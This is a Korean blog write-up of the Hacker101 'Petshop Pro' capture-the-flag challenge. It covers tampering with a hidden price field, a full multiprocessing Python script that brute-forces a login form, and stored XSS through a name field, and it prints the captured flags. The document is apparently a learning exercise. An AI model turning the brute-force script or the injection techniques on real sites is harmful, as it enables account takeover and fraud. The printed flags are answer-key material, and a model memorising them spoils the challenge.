본문으로 바로가기

[Hacker101 CTF] Petshop Pro

category Wargame/Hacker101 CTF 2020. 2. 19. 16:51

Petshop Pro (Easy, 3)

Flag0

/cart 에서 구매할 물건의 리스트가 hidden으로 cart에 전달된다. price를 0으로 바꾸면 플래그를 얻는다.

 

Flag: ^FLAG^0be3e9176f5dddd7e261b79c65561382a3760dffb862f8e4811ca1c8d5232113$FLAG$

 

Flag1

dirsearch를 돌리면 /login 페이지를 발견할 수 있다.

 

Extensions: html | HTTP method: get | Threads: 4 | Wordlist size: 6030
 
Error Log: /home/syine/repos/dirsearch/logs/errors-20-02-19_02-02-46.log
 
Target: http://34.94.3.143/3790f32631/
 
[02:02:46] Starting: 
[02:04:37] 200 -  410B  - /3790f32631/cart
[02:04:41] 405 -  178B  - /3790f32631/checkout
[02:05:11] 400 -  192B  - /3790f32631/edit
[02:05:56] 200 -  329B  - /3790f32631/login
[02:07:08] 301 -  186B  - /3790f32631/static  ->  http://127.0.0.1/static/
 
Task Completed

 

SQL Injection을 시도해 봤지만 안 통했다.. 다른 힌트가 어딘가에 있나 싶어서 살펴봤지만 없어서, username과 password 목록을 모아서 브루트포싱 해 봤다. username과 password 목록은 여기서 가져왔다.

비밀번호 목록에서 숫자만 있는 것과, not printable 한 문자열을 제외해 주면 훨씬 빠르다. (1310489개 > 243120개)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from multiprocessing import Event, Process
import requests
 
def FindName(_event_, usernames) :
    size = len(usernames)
    i = 0
 
    while True :
        if _event_.is_set() : return
        if i >= size : return
 
        s = usernames[i]
 
        try :
            print('[Info] Trying name: {0}'.format(s.decode()).ljust(100' '), end='\r')
            r = requests.post('http://34.94.3.143/3790f32631/login', data={'username':s.decode(), 'password':'test'})
        except KeyboardInterrupt:
            _event_.set()
            return
        except :
            continue
 
        i += 1
 
        if not b'Invalid username' in r.content :
            print('\n[Info] Username: {0}'.format(s))
            _event_.set()
            return
 
def FindPass(_event_, username, passwords) :
    size = len(passwords)
    i = 0
 
    while True :
        if _event_.is_set() : return
        if i >= size : return
 
        s = passwords[i]
 
        try :
            print('[Info] Trying password: {0}'.format(s.decode()).ljust(100' '), end='\r')
            r = requests.post('http://34.94.3.143/3790f32631/login', data={'username':username, 'password':s.decode()})
        except KeyboardInterrupt:
            _event_.set()
            return
        except :
            continue
 
        i += 1
 
        if not b'Invalid password' in r.content :
            print('\n[Info] Password: {0}'.format(s))
            _event_.set()
            return
 
if __name__ == '__main__' :
    with open('./web/passlist.txt''rb') as f :
        passwords = f.read().replace(b'\r', b'').rstrip().split(b'\n')
 
    size = len(passwords)
    print('[Info] Password loaded, size={0}'.format(size))
 
    processes = []
    e = Event()
 
    for i in range(16) :
        _p = Process(target=FindPass, args=(e, 'viv', passwords[(size//16+1)*i:(size//16+1)*(i+1)]))
        _p.start()
        processes.append(_p)
 
    for _p in processes :
        _p.join()

 

username은 viv, password는 hydrogen이다. 로그인하면 플래그를 준다.

 

Flag: ^FLAG^dacd4da8906dae64427c02d7c180a102a320fa18e11847a26ca772a9acda1062$FLAG$

 

Flag2

/edit 에서 Name에 script 태그를 달아서 /cart 에서 스크립트를 실행시키면 된다.

 

Flag: ^FLAG^6a9947339efa2650b630ae7e49b69920327a09d7bd59c5330f1546e9d7c5004b$FLAG$